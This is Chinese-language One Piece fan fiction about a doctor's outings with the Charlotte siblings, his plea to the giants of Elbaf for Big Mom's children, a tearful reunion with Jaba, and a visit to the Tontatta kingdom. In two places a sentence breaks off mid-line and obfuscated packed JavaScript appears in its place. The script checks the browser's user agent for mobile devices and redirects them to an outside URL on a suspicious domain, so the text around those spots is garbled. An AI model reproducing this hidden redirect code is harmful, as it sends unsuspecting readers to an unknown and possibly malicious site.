如果是有城镇的岛,茵弗会带着“常驻”的某一位明晃晃地上岛“约会”,然后其他想在这个地方游玩的夏洛特们就做好伪装后自己去玩,只是人不能多。 或者他会把波比停在远处,然后让他们自己划船去,偶尔被发现也没关系,毕竟BIGMOM经常派孩子们去给她收集甜食也是正常的。 无人岛就随便他们撒欢。 夏洛特们也很珍惜这次机会,知道暴露了不仅给他们,也会给茵弗带来很大麻烦。所以每到一个岛屿之前,他们就会安排好最感兴趣的兄弟姐妹都有哪些,控制人数,互相伪装照顾,其他人就通过镜子回托特兰,如此轮流交换。 等挂掉电话虫回到训练室,已经没人在了。茵弗收拾着地上的垫子盘子,吃剩的点心和旧报纸放到一边。加了镜子显得房间很大,多了一倍空间的幻觉。如果训练的话,可以看到自己的动作? 茵弗拔出佩刀,做了一个挥刀的基础式锻炼,一边看着自己的动作是否标准。好久没用刀打架了,雷利在这里可能会像当年一样敲敲他的腿和胳膊,让他身体打直什么的。 他收起佩刀,看了自己的倒影一会儿,然后开始试着跳舞。花柳流他不太记得了,以藏只教过自己一次,但大概模仿着记忆里的漂亮武士轻声哼歌,柔腰展臂,轻旋抬腿。 果然不穿和服,手里不拿折扇的话会很傻。 他对着镜子里自己蠢蠢的样子咧咧嘴。然后在下一刻看到从里面钻出来的卡塔库栗。 ??? 不会被看到了吧。我的人生...居然还会有这么羞耻的时刻吗?算了、跳海去吧。 卡塔库栗看他一脸死亡的样子觉得好笑,没有说自己看他有一会儿了,很贴心地换了个话题。 “他们去玩了?” 茵弗眼神飘忽不看他,笑眯眯地回答:“啊、是。蔓岐亚是无人岛,您可以去,他们没走太久。” 卡塔库栗摇摇头,这次他来有别的目的。 自己是将星,佩罗斯大哥和克力架既然都去了,妈妈不会允许他和斯慕吉也随行的。所以他们“留在”托特兰,这也是理所当然。 因此靠着镜子坐下的时候,茵弗玛利有点尴尬地坐到他对面挠着脸道歉说不能光明正大地带他很抱歉,明明在托特兰受他照顾最多,他只是再次摇了摇头。 他没有怎么照顾他。茵弗玛利在托特兰过得并不好,尤其是每次见了妈妈之后。虽然后来他不再呕吐,但是总是会很没精神地躺在床上,也不睡觉,好像就是在试着努力呼吸。大概是能力的原因,接触霍米兹会对他带来某种影响,而它们到处都是。他不是客人,他是妈妈的囚徒。只不过牢笼的位置从蒙多尔的书里变到卡塔库栗的城堡里而已。 所以那天在小茶话会上,他说他不喜欢托特兰,他没有惊讶。 他们是海贼,这是个海贼的国家,他们本来也不需要别人的喜欢。只是身边围绕着失望委屈的弟弟妹妹的时候,卡塔库栗突然觉得,也许之前自己多照顾他一点就好了。 直到他离开,仍然是茵弗玛利在照顾夏洛特。不仅是布蕾的事,思食症,斯纳格,还有“朋友”。夏洛特只看重家人,但是弟弟妹妹们喜欢他,包括总是跟他吵架打架的克力架。哥哥姐姐也喜欢他,他们总是请他去喝茶。而他带着他们出来了,因为“他不讨厌他们”。 兄弟姐妹们在城里逛街,在无人岛探险,他们不止是为了妈妈而存在,而是为了“玩”。每一次收到接下来波比会去哪个岛的消息,托特兰的夏洛特们都会叽叽喳喳地讨论谁去。他们聊自己上一次去看到了什么,又学会了什么,喜欢哪个岛上的哪家餐馆。轮换回来的兄弟姐妹们都带着笑容,身上沾着某个岛庆典后甜腻的爆米花香气和彩色涂料,或者头发里留着一点在某片丛林里嬉戏后的枝叶。 他们讨论那三个“被带走”的兄弟姐妹,谁又和茵弗玛利做了什么“亲密举动”,是不是真的,吵起来就打电话虫,或者直接跑过去询问。他们给自己喜欢的一位买报纸投票,即使所有人都知道是假的。 他的家人很好,很快乐,很享受不用做【夏洛特】的大海。卡塔库栗爱自己的家人,即使他只能偶尔和他们去一次无人岛。但是不用杀戮,不用掠夺,他只用努力蹲下弯腰,等戚风给他戴上用野花编制的花环——他感到满足。 所以他来感谢他。所以他说:“谢谢。” 茵弗玛利看着他,轻轻地说不客气。那么轻,那么软,像一阵微风,蝴蝶振翅。 他送了他一根羽毛,“如果记得羽毛的触感,记得风吹过脸颊,记得云,记得不是果汁的海,也许您们也能记得,自己短暂地做过一只鸟。” 啊,原来如此。每一位参与了这场玩乐的夏洛特都收到了茵弗玛利的羽毛,他询问时,阿曼德脸上只是露出一个难得的,神秘的微笑。布蕾眼睛红红,说哥哥会知道的,看来现在轮到自己了。 他点点头,将它揣到口袋里。 时间快到了,他有些紧张,但是布蕾鼓励了他一百遍,说好这段时间不会让人通过镜子。所以他憋红耳朵,挠了挠脸,在茵弗玛利疑惑的歪头里小声询问:“咳、你想...吃下午茶吗,茵弗玛利?我准备了甜甜圈...和吐司。” 声音那么小,那么轻,像一只刚破壳的雏鸟。 茵弗玛利嘻嘻一笑,起身去锁上训练室的大门。 他没反应,自己拉下围巾的时候,他只是扫了一眼,说和他估计的不太一样。他没说丑,也没说帅气,就只是不在乎,忙着比划自己和巨型甜甜圈之间的大小。 “这怎么吃?可以一口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15015580|154812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咬到馅料吗?还是里面没有馅料?” 自己展示之后,对方只是说好羡慕,然后试图学着他的样子长大嘴巴咬他的吐司,嘟囔着说不行,没有您那种气势。 初始的紧张过后,他躺在地上哼唱自己的甜甜圈之歌。茵弗玛利没躺下,他说自己会噎到,但是也开始编什么美味吐司之歌。然后说“我就知道您肯定躺着睡觉,床上有糖霜的味道呢。” “美味的~甜甜圈~” “好吃的~吐司~~” “洞也很美味的~甜甜圈~” “边边也很好吃的~吐司~” “简直就是禁忌~” “真是神迹啊~” 他确实是个夏洛特。和别人一起开“茶话会”,享受甜食的感觉很好。 兄弟姐妹们回来之前,他们打扫干净场地,然后茵弗玛利说可以在他的房间里放一面镜子,让布蕾连通,他想来一起吃下午茶就不用担心撞到其他人。 “果然小麦岛的吐司超好吃的啊~下次想要杏仁吐司拜托。” “我知道了。” 噼里啪啦的脚步声传来,还有克力架的大叫,卡斯塔德呼唤茵弗玛利医生的声音。茵弗习以为常地拍拍卡塔库栗让他去搬镜子到他房间,自己去看那个火花头又磕碰到哪了。 “所以说在无人岛就小心一点啊,怕痛就好好穿壳子。” 这次居然不是小磕小碰,真的受伤了,腹部一道血淋淋的伤口。 “都是大福那个混蛋!!什么不用能力比赛谁能爬到最大的藤蔓上摘什么破花的!” 茵弗在医务室的柜子里拿出一个标着【饼干】的瓶子,在一块软布上倒了一点后走到病床边放在他鼻子上让他自己捂着。 “深呼吸。” 这家伙打针也怕痛,治疗也怕痛,只能弄点吸入式的镇痛麻药。为了高效,又让他不在后反劲的时候叫唤,他熬了多少个夜改良它啊真的是。 等紫发男人安静下来,身体也不再痛的抽搐,茵弗勾过一个矮脚凳坐在他面前,用镊子戳了两下伤口附近的皮肤。 “痛吗?” “...不痛。” 清理创口,把断在里面的小刺取出,稍微有点毒素也不知道是爬了什么藤蔓。虽然知道有麻药他不痛了,他还是放轻柔动作,慢慢一点点地缝合。在克力架缩了一下的时候问他痛吗? “不痛...你离远点,气吹在身上老子痒。” 茵弗笑了一声,“您怎么怕痛又怕痒的,不过应该感觉不到吧。”然后故意吹吹他的伤口,就像哄萨博他们一样,“给你呼呼,痛痛飞走。” 克力架耳朵都红了,恼羞成怒地叫唤:“老子不是三岁小孩!你赶紧的!” 其实伤口不大,缝好裹上纱布就行,涂了点针对毒素的药,听起来是致幻的,不过克力架没什么反应的样子应该对他来说没到那种程度。 “行了,这几天别喝酒,别吃辛辣,不然发炎痛死您,麻药劲过了痛的话再来找我。” 他收好用具,随嘴问了一句:“所以您赢了没啊?” 克力架:“我——” 医务室的门被粗鲁地推开,垂眼角的高大男人手中抓着一朵黑紫色的大花,大笑着说:“在这儿呢啊茵弗玛利!老子给你摘的!闻一口就晕乎,你肯定喜欢!” 茵弗有些惊喜地接过:“哦!原来是阿尔蒂花啊,我就说什么大藤蔓还长致幻的刺,谢谢您大福先生!” 大福:“没事儿!你不是喜欢这些什么花啊草啊的,那我回托特兰了啊。” 茵弗:“好的谢谢您,您上次提到的热奶油团子我试着做了一些在饭厅桌上,套了保温袋,带回去和欧文先生一起吃吧。” 只是闻一闻花的话不会出现幻觉,不过还是会头晕的,大福大概吸入不少花粉吧,脚步有些晃荡地往厨房方向去了。 茵弗有些美滋滋地把手里的阿尔蒂花卷起放到压台上,等着其中的汁液慢慢被榨出滴到下面的空瓶里。好东西捏,一整株巨大藤蔓三年只长一朵。 回过头看向还没走的克力架,调笑一声:“输了啊,饼干先生。” 克力架咬牙切齿,憋了半天,最后一直放在口袋里的手拿了出来,攥着一朵有点蔫吧的野花。“没输!是花就行呗。” 茵弗接过,捏着茎看软趴趴垂下的花朵,笑着说:“小雏菊啊,我也喜欢的,谢谢您。” 那小白花被压成了书签,塑封在透明的塑料里,他在角落画了一块冒着火花的饼干。 “库库库,很像克力架佩罗琳。” “我也是这么觉得的,薄荷糖先生。” 又到了“约会”的时候,这次轮到佩罗斯佩罗。抽签决定人选,然后他们往人最多的地方晃悠,转移注意力。 一般和阿曼德会逛街。茵弗很喜欢她的风格,优雅又帅气。蛇首族长长的脖子和白皙的皮肤都很适合戴颈饰,所以他送了她很多,还有夸张造型的耳环,她也给他搭配了一身看起来像是古堡王子一样的衣服。 和佩罗斯佩罗的话就是随便散步聊天,聊聊合作,生意,海军海贼,或者随便找地方坐着吃点心。 总之这次是在中央大街的某家咖啡厅的外部座椅上看书。 “后天大概您又能排第一了吧。” “我排第一还真是难得呢佩罗琳。” 茵弗翻过一页书。 【他是展开双翼比肩日月的鸟,在阴影下嬉闹的毛团子发着光。】 “我没太关注,不过您们三位应该当第一的时候差不多吧?毕竟这样那只信天翁才好赚钱啊。” 虽然是买报纸投票,但他是不信没有黑幕的。报纸这东西,也就那么回事吧。 “库库库,不是说这个第一。” 【姊妹啊!他呼唤着,请吞下我猎回的鼠,好丰满你的羽毛。风要来了,不要向低处滑翔。】 茵弗嗯了一声,翻动纸张。 【狐狸与蛇,蛋与巢,如何生,如何死,那是高处才能赏得景,喙啄开的老虎斑纹。】 “下次茶话会,我会准备一份不是霍米兹的用具和餐点佩罗琳。” “夏洛特没您得散。” 【成为日,成为月吧,他抖动自己的羽毛。那天空那么远,兄弟啊!不要在低处滑翔。】 哗啦—— 他念出在阳光下照得斑白,有些晃眼的文字。 “''起飞吧,他发出咕咕咕的笑。吻别母亲,吻别父亲,吻别那些死尸与蛋壳——''” 佩罗斯佩罗的声音与搅动咖啡的声音一同刺穿街道的喧闹。 “''——在羽毛飘落的暴雨里,他跃到枝桠上远眺,收起自己比肩大海的羽翅。''” 茵弗翻过一页书。 “库库库你喜欢读这类书吗,茵弗玛利?” “完全、读不懂呢,不过,是很帅气的大鸟。” 65.委屈刺穿艾尔巴夫 因为万国的事情,他预估的进度已经严重滞后了。虽然电话虫联络奥比塔拉那边发展的都顺利,但是亚当木... “已经运到七水之都了??那么多??” 抱着久别重逢的罗宾,茵弗震惊地听着对面笑声奇怪的巨人感谢他照顾罗宾。 “因为罗宾说你需要嘛呔唻嘻嘻嘻!你们小家伙们用不了一点点,我就让海尔丁他们运去啦呔嘻嘻嘻!” 发展顺利...是这个意思吗?! 不过、确实,自己来了之后才知道艾尔巴夫的亚当树是多么的...已经不能用巨大来形容了。毕竟巨人族生活在这棵树上。 用不了一点点是真的用不了一点点。 “报纸上说你被BIGMOM扣押生死不知...” “啊...我应该有让火烈鸟先生给您们传话...?” 茵弗摸着罗宾的脑袋,明明几个月不见而已,长得很快呢,十四岁的大女孩了。也没法像小时候一样抱起来...雷利对自己也是这种心态吗?当时他和罗杰抱自己最多来着。 “马尔科得到的消息是''茵弗玛利被留在托特兰,他说''不要担心''。” 难怪他们担心...多弗朗明哥就不能说点什么茵弗玛利很有把握不会下地狱的吗?啊虽然差点真的被BIGMOM一拳捶死啦... “没事没事我好着呢,不聊那些啦,你们重逢怎么样?抱歉我没有亲自带你来。” “呔唻嘻嘻嘻!罗宾长成大姑娘啦!” “很好,全知之树的书也都...” 熟练地摸着小知更鸟的羽毛,小姑娘穿着艾尔巴夫风格的衣服,很是英气。能看出来见到萨乌罗之后她放下一大桩心事,气色很好。虽然明显她对巨人来说太小了,但是被照顾得好,茵弗也就松了一口气。 “你还活着,书还在,奥哈拉还没有灭亡,对吧?” “嗯...!我很想你。” “我也是,晚点也带我去图书馆看看吧?奥哈拉有很棒的医书吧?” “嗯,但是还是历史和考古学的比较多。” 不过说到万国...通过报纸当然罗宾知道他跟夏洛特们在一起,而罗宾知道,巨人们也就知道了。所以他们现在还被锁在境外不让进来,茵弗是被单独接到艾尔巴夫的。彩虹桥是很炫啦,想弄点太阳石回去... 啧、要不就让他们直接回去跟BIGMOM汇报外交失败好了。不过说好了要让他们试试...可恶的海贼约定。 他叹了口气,在罗宾担忧的表情里笑笑。早点结束吧,既然亚当木已经到手了,足够他造至少十艘伊甸鲸...虽然有点不太好,但是如果对方因为自己请求他们给夏洛特一次机会而生气的话,就带着罗宾直接离开。拿了好处就跑虽然也很茵弗玛利,但加油努力一下吧。 “萨乌罗先生,有关夏洛特·玲玲一事...我想向艾尔巴夫请求给我一个交谈的机会。” 自己并不害怕巨物,但是被一群巨人围着,甚至有比普通巨人还要高大的巨人压在头顶,还是会本能地在一瞬间感到窒息。 这场谈话他没有让罗宾参与,也不要她接近,如果自己因为偏向夏洛特而给他们留下恶劣的印象,还是尽量不要牵扯到她好。 “不行!!” “玲玲杀害了传奇战士约鲁鲁大人!” “她犯下了不可饶恕的罪!” 茵弗深吸一口气,闭了闭眼睛。 “我是一名医生,在托特兰游历期间曾目睹过两次夏洛特·玲玲名为思食症的病症发作——” “恶神!她是恶神!!” 奇怪,明明不是在骂他,为什么嘈杂的谩骂声让他如此不适。 “——她的症状类似激烈的戒断反应,或是压抑后——” “她不尊重我们的传统!为了一己私欲犯下重罪!毁了我们的村庄!” “约鲁鲁大人没能死得其所!” “我们看在萨乌罗老师和奥哈拉学者的份上把你当成客人,居然提出如此恶劣的请求!” “请听我说!!” 轰——— 他嘎吱一声抽出插入地里的刀,气浪余威卷过,碎发飘落至眼前。不是霸王色,但是武装色即使不能震慑精神,也足以了。 “失礼了,但是请听完我的话,再审判我的罪。” 夏洛特·玲玲的思食症,与戒断综合征有很多相似之处。心急、短暂健忘、发抖、嫉妒妄想、偏执状态等。 “我并不清楚为何是''甜食''这一事物让她出现如此激烈的反应,但是我会分享我的推测。” 首先,她被父母抛弃。 ''一定是因为玲玲太大了吧,Brother。'' 因为巨大的体格和怪力。他们将她遗留在岸边,留下一包“甜食”。 “既然她的父母都是''普通人类'',体格和怪力从何而来?如果是基因突变,仅因为自己的孩子过于强壮就遗弃她吗?” 不是的,她一定是早就有“思食症”这一病症,并且造成了伤害与损失。 “这一病症又从何而来?为什么是''甜食''?如果是天生的,她在只能吃母乳时呢?如何判定什么是能满足她的''甜食''?” 如果是母乳的甜满足了她的某种生理性对甜的极端需求,在她成长到可以正式食用食物之后,她如果思食症发作,需要母乳的再次安抚。到那时又如何呢? 而且足以让她精神恍惚地吞下甜食,甚至都意识不到自己在吃什么,让她断片的反应,已经不是简单的生理性需求能带来的了。 这说不通。 “所以,她的''思食症''可能是后天形成的。我也提到了,她的反应和戒断反应很类似,也就是说''甜食''或者看似和味道上是''甜食''的东西曾经让她成瘾。” 她被遗弃的时候很小,她没告诉他她当时多大,但是通过巨人们的描述,大概是五六岁。 “那么小的孩子,成瘾?如果我们假定这一点于她异变的体格和力量有关呢。五六岁的孩子因为甜食会失去理智,可以杀死巨人族伟大的战士。它们都是她一个人类身上''反常''的地方。” 成山般的巨人开口:“你是说让玲玲变得异于常人是人为的?” “有这种可能不是吗,雅鲁鲁长老?如果是她从小摄入看似且味道上相似甜食的某种使她异变的药物呢?如果假定如此,那么在她脱离那些药物后的戒断反应,也就是''思食症''的雏形出现了。” 但是她现在每次发作要求的都是某种特定的甜食,而不是甜食本身就足以安抚。 “这一点我猜想与当时发生在艾尔巴夫的不幸有关。” 冬至祭持续十二天不吃饭,只能喝水,而绝食之前要摄取的足够营养所食用的最后一顿餐点“萨姆拉”,也就是焦糖泡芙。是满足她,也是激发她瘾性的,独特的“甜食”。 “如果说冬至祭的绝食对大家来说,只是忍受饥饿而已,对她来说,则要多加一层与''瘾性冲动''抗争的困难。” 生理和心理的压抑,直接投射到了“萨姆拉”的上面。激烈的戒断反应,无法控制的意识,思食症也就正式出现了。而清醒后修女加尔默罗对她的保护是她“突然”被让身形巨大的自己感到舒适的巨人族抛弃后,感到唯一“被接纳”“被理解”的时刻。 被遗弃,被接纳,这一重复出现的心理执念也许形成了“在食用某个甜点后”,满足戒断的同时,引起曾经修女带给她温暖的心理满足感。 ''如果大家都和我一样大就好啦,Brother!所以我很喜欢巨人族啊。'' “她是如此对我说的,她当时并不是有意不尊重您们的传统,对您们的喜爱并不虚假。” 这里是让她第一个所见到的人、景色、建筑都让她感到舒心,也就是让她感到“属于”的地方。即使现在,“巨人族”已经变成某种扭曲的执念,就和因为曾经的羊之家里的家人伙伴有长手族,鱼人族等等,她现在对于物种收集也变成同样扭曲的执念一样。 “当时的具体情况,约鲁鲁先生究竟是在与她战斗中被她杀死,还是她主动去做的我不知道。战士如何算是死得其所,我一个医生也并不清楚。” 但是她伤害了村庄为事实,杀了人为事实,他不会在这一点上辩解。 “她是一个残暴的,染满鲜血的海贼,但是我认为至少当年的她不是''恶神''。她生病了,先生们,未能有人帮她与病痛和解。” 而现在大概也来不及了。后来引导她的不是“修女”而是“海贼”,她加入的海贼团是洛克斯。而无数吞食下的灵魂,早就把“玲玲”也撕扯的七零八落。甜食是她的瘾,恐惧是她的武器。他用能力听到的是一片混乱,灵魂与灵魂之间冲突着。 喧闹声再起,茵弗感到没由来的疲惫。他不想再分辨他们究竟在骂什么,在骂谁。他看向一言不发的雅鲁鲁,深深鞠了一躬。 “对于夏洛特·玲玲的罪,您们自有定夺,我并没有资格替您们原谅她。但是我再次提出我的请求,请给她的孩子们一个自我介绍的机会。” 大人的罪,为何要让孩子来背负呢?那对摇摇欲坠的兄弟,那个长得像母亲,却有着父亲笑容的孩子。 雅鲁鲁长老长叹一口气,抬起一只手示意族人们安静。 “茵弗玛利———” “——你没事吧。” 茵弗摇摇头,示意刚上岛的三人仔细听。 “以【佩罗斯佩罗】【克力架】【阿曼德】去和他们交往。不要想他们一下子就能原谅您们母亲,慢慢来。明白我的意思?” 佩罗斯佩罗:“当然了佩罗琳。” 阿曼德:“...我会看着克力架的。” “把礼物都搬上来,然后联系托特兰派船来接您们回去,我不能送您们了。我让他们同意这段时间您们就住在艾尔巴夫,试着相处一下吧。” 克力架:“你去哪?” 茵弗:“艾尔巴夫不再欢迎我了,我等您们安顿好就离开。” 他拍拍克力架的饼干壳子:“别捏您那饼干剑,没事的,虽然没弄块太阳石当纪念品,但是至少亚当木到手了。” 佩罗斯佩罗:“库库库...” 茵弗:“别、先生。我很累,别让我再头疼。您母亲现在的执念很偏执,所以您必须平衡这两方,您很聪明,别让我失望。” 艾尔巴夫是个骄傲的国家。能做到这一步已经很好了,如果夏洛特们再犯一次错,真的就很难再挽回。 他揉着自己的腿,蹲在林子边缘等着佩罗斯佩罗他们收拾好后来告诉他。虽然很突然,不过他也预料到这个结果,罗宾也大概已经道完别。自己离开艾尔巴夫就和夏洛特分开这件事如果被世界政府知道会很麻烦,但是大概可以贿赂一下摩尔冈斯...至少目的算勉强达成,接下来...去格林比特,然后... “霸气练得不错嘛,小狐狸。” ...不可能。 茵弗睁大眼睛回头,因为过于迅速而脖子发出咔哒轻响。 “...贾巴先生?” 黑色炸炸的马尾,额前的两缕发,墨镜,双斧。 “什么啊,虽然不是雷利那个老妈子至少我以为我会有个拥——唔、” “贾巴先生呜呜啊啊啊啊!” 斯克巴·贾巴抱着好像一下子就变大只的小狐狸,任由咸水打湿他的衣衫。会哭了啊,这小子。也是,快十年没见了。 他学着记忆里的样子轻轻抚摸着他的脑后,等他慢慢发泄。 “您、呜呜呜为、在这儿——” “对不起、对不起———” 戴墨镜的男人鼻子一酸。 当年自己被外面的吵闹声吵醒推开舱门,就看到咬着牙流泪的香克斯和巴基,而他们身边没有安慰他们的金发小子,几乎瞬间就明白发生什么了。 他记得罗杰面对大伙,说茵弗下船了。 他记得自己抓住船长的领子,问他为什么。 他记得自己在询问之前就知道为什么。 “该说对不起的永远都不是你,茵弗。” 贾巴给自己怀里哭得喘不上气的小子顺着背,问他最近怎么样,有没有人欺负他。 “呜、我、吃不饭呜呜啊、好起来了——咳、托特兰呜呜、好恶心、好吵—” “还有呢?” “要杀多弗呜、杀艾斯——我太弱—” “她踩、断我的腿!好痛啊啊!” “欺负布蕾——!我好不容易咳咳、他们好不容易才——” “还有呢?” “讨厌、吐!停呜、停不下来!” “他们、鸟、我不能——” “讨厌的、海贼呜呜!肋骨断了!” “还有呢?” “我、原谅她了——!” 带着痛感的眼泪啊。 骨头发胀,血管发酸,让人想缩成一团的那种。肌肉组织在燃烧,细胞们都和眼睛一齐流着水。 如果是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15020331|154812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回到雷利和露玖他们身边,他们问自己有没有人欺负他,他不会如此,不会觉得有什么。也许是时机不凑巧,他还在沉淀艾尔巴夫的一切;也许是面前的人,他以为他们一辈子不会再见;他的确原谅托特兰了,原谅那个孩子,原谅那个海贼,可是他哭啊哭啊,放任自己委屈。 直到喉咙酸痛,转而抽泣;直到巨大繁茂的林里没有一丝声音。 贾巴将他抱起,双脚离地,最后冰冷地扫一眼僵直在不远处的夏洛特们,带着瘫在自己身上的人走向彩虹桥。 “我、不能走、呼、等佩罗、” “他们不用你操心,先送你回去。” 他在茵弗的大蜗牛上绕了几圈,最后跟着墙上突然冒出来的手指明的方向找到卧室。有点乱,很大的书柜,旁边很显眼地有一面大镜子,半蒙着一块布。 把软趴趴的小子放到床上,刚出去没走两步,妮可·罗宾就眼睛红红地递过来一杯水。感谢地点点头,贾巴回到茵弗的房间,看小狐狸抱着膝盖发呆。 “喝点水。” “昂、谢谢您。” 茵弗鼻音厚厚地小口喝水,眼睛一眨不眨地盯着坐到他旁边的男人。 “您这些年、都在这?” “啊,差不多。” 决定来艾尔巴夫真是太好了。他把水杯放到床头柜上,挪过来和贾巴贴着,侧搂着他强壮的身躯。 “我想您,特别特别地,您能跟我走吗?雷利先生和库洛卡斯先生也在呢。奥比塔拉可漂亮了,我给先生好多好多零花钱,这次不是雷利先生管。” “看到报纸上你不少消息呢,厉害了啊小子。” “没有捏,都是别人在帮我。” 茵弗用脑袋和脸蹭着他的外套,在对方询问自己说的那些人是谁的时候,只是说了句“艾斯是罗杰先生的儿子,我们在养他。”贾巴惊讶程度倒是没有库洛卡斯那么夸张,令他无比熟悉地在墨镜下抹了一把脸。 “所以,您跟我走吗?” “...过两年吧,小狐狸,我这边还有事情。” 这样啊。 “哦...那等我也忙完了,我再来找您,然后我们一起旅行好吗?我特别特别爱您。” “...” “好吗...?” “好。” “...耶...” 他声音闷闷,因为又开始流眼泪的缘故。但这次他只是把脸继续埋在贾巴的身上,更加用力地抱着他。 然后沉默地,无声地流泪。 生命卡又撕去一角,贾巴少了一副墨镜。不再被骄傲的艾尔巴夫欢迎的游医短暂停留后再次走向大海。罗宾大概知道自己哭过了,即使他戴着墨镜。她很乖地让他去休息,说自己可以搬离儿童房,收拾好新分给她的房间。 确实哭了太多头痛得厉害,现在也正是阳光很暖的时间。他拍拍她的脑袋,把自己埋进窝里。他想通过睡一觉忘掉很多东西,也就无意间忘掉了下午的惯例。 卡塔库栗看到他睡着的样子,短暂犹豫后,还是敲敲镜子迈了进来。茵弗没醒,抱着一团被子,因为鼻子有点堵打小呼噜。高大的男人谨慎地走到床边,盯着他红红的眼眶看了一会儿。 ''佩罗斯大哥?'' ''卡塔库栗,我们已经到艾尔巴夫了,让欧文他们派一艘船来佩罗琳。'' ''为什么不等着用镜子回来?'' ''———!———'' ''大哥?那边是什么声音?'' ''——————。'' ''...大哥?'' ''茵弗玛利帮我们争取到了和巨人族相处的机会,他——'' 床上的人哼唧了一声,打断他的思绪。卡塔库栗轻轻地用戴着手套的大手蹭蹭他软软的金发,唤醒了睡着的人。 “嗯...?哦,卡塔库栗先生...” “牛奶,还是热的。” “好,抱歉我忘了...” “有胃口吗?吐司也是刚烤好的。” “嗯,吃一点点。” 这次他们没唱歌,卡塔库栗躺在地板上,茵弗玛利靠着他跷起的腿,有些凉的脚踩在他身上。 “您不唱歌吗?我嗓子有点痛,今天不唱。” “你还好吗?” “...给我唱歌吧,甜甜圈先生。” 卡塔库栗想了一下,咬着美味的甜甜圈,开口唱了茵弗玛利的【好吃吐司歌】。坐在他身上的人弯弯眼睛,轻声跟着哼唱。吃完点心,他们仍坐在地板上喝茶和牛奶,卡塔库栗靠着墙,曲着腿,和身上的人面对面。 “大哥他们和我说了。” “啊,——” “不、你的事情。” “...他们看到了啊。也是,本来就是在等他们告诉我可以走了来着。别偷看未来。” 卡塔库栗收起见闻色,一只手轻轻地握住对他来说颇为纤细的腿。很痛吗?毕竟是那个状态下的妈妈...他只是人类而已。 “还很痛吗?” “没有,稍微有点后遗症吧,毕竟当时碎得太彻底,刚养得差不多又要去和饼干先生打架,他壳子很硬。” 茵弗把喝完的牛奶杯子放到卡塔库栗空空的大茶杯里,方便他带回去。 “我其实不怕痛的,就是见到长辈在撒娇,让他们见笑了。” ''卡塔库栗,他曾经是罗杰船上的佩罗琳。'' ''...我知道。'' ''他告诉过你佩罗琳?'' ''没有。'' 苋红色的男人在身上的人要下去之前收紧手,阻止他的行动。 “你可以不原谅妈妈。” 可以不原谅他们,海贼不需要原谅。 茵弗拍拍他的手,示意他松开,一言不发地坐回自己的床上。不知道佩罗斯佩罗他们看到多少,听到多少。不过他大概认出贾巴了吧。BIGMOM对罗杰的态度不友好,毕竟是敌对海贼团,又偷了她的历史正文。夏洛特们...如果这个消息被放出去,他...至少卡塔库栗来了?他大概和他们行动一致吧...真是一团乱麻。 睡觉吧,忘掉今天。 听到他的话,卡塔库栗点点头。 “...那我回去了。” 在高大的甜点将星跨入镜子时,他听到闷闷的叹息: “...下次要吃奶油吐司,训练室的镜子不用关,但是让他们不要轻易来了,我要回去了。” “好。” 谢谢。 66.变化发展 只剩下手术果实没找到了。 茵弗盯着眼前可爱小巧的小人族咚咚塔公主——九岁的、善良的、心软的、治愈果实能力者。 “真的吗?好厉害啊。” “假的,公主殿下。” 他的奇迹可比不上她。不过,严重的话也是要透支寿命生命来“还原”啊。罗杰当时...也没有区别了,他的生命力已经被自己透支得差不多了。图鉴上果然信息还是太少...果实的潜力与代价都极大缺失。不过,可能也有要看能力者的开发和想象力的缘故吧。 他已经在格林比特呆了两周多,除了谈雇佣小人族去奥比塔拉之外,这里的原始森林也激发了他的探索欲。罗宾和小人族们玩得很好,她的能力很适合和他们戏耍。 真是单纯好骗的种族啊...罗宾说一些暗黑笑话都会很认真地当真然后把自己吓个半死。 斗鱼有点麻烦,波比受了点伤,口感倒是还不错,抓一些养在水箱里带回去。 “父王,我也想去!” “女儿呀...” “不听!要去要去!” 自己雇佣了二百名想要去更远的地方看看世界的咚咚塔人,报酬...要求的真是意外的少,毕竟体型小他们就算买东西也不需要那么多,照顾好生活就好了。赚透。 “甘乔陛下,我愿意带着曼雪莉公主,保证她的安全,可以当一次游历。” “父王!他去过诺兰度的家乡诶!” 诺兰度曾到过小人国,并做出巨大贡献,因此和此地结下深厚友谊。自己在看到诺兰度的塑像时还蛮惊讶的,小人族们在听他讲诺兰度去的黄金乡在天上的故事后也顿时对他放下戒心,谈话都顺畅不少。 “我也愿意带想要去布鲁尼尔的各位去那里看看,那里也是和您们这片土地一样植被丰厚的岛屿。” “黄金乡也可以去吗!” “有些危险呢。” 不止是曼雪莉,她的青梅竹马护卫雷欧和好友薇卡也跃跃欲试。他们年龄小,不在这次被雇佣的人员中,但是曼雪莉公主去的话,他们也一定可以跟着的。 国王有些头疼地伸手:“女儿呀...你还太小...” 曼雪莉:“不小了!我也可以,打斗鱼!” 他们战斗力是挺强的呢,解决斗鱼很利索。不过九岁还是有点... “可以短期,届时我会将公主平安送回。” “去完黄金乡我就回来!” 嗯...空岛目前没打算呢。不过应该有比冲天海流更安全的办法吧,真出事就完蛋了。 小人族体型矮小,但力气惊人且移动速度非常快,照顾植物是一把好手,每一位都是天生的绿手指,也对此事颇为热爱。茵弗手里托着可爱的曼雪莉,震惊地看着自己焕然一新的药园花园们。 赚。透。了。 “真是神奇啊,我还是不敢相信居然还有这么大的蜗牛。对吧雷欧?” “是的,曼雪莉公主。” 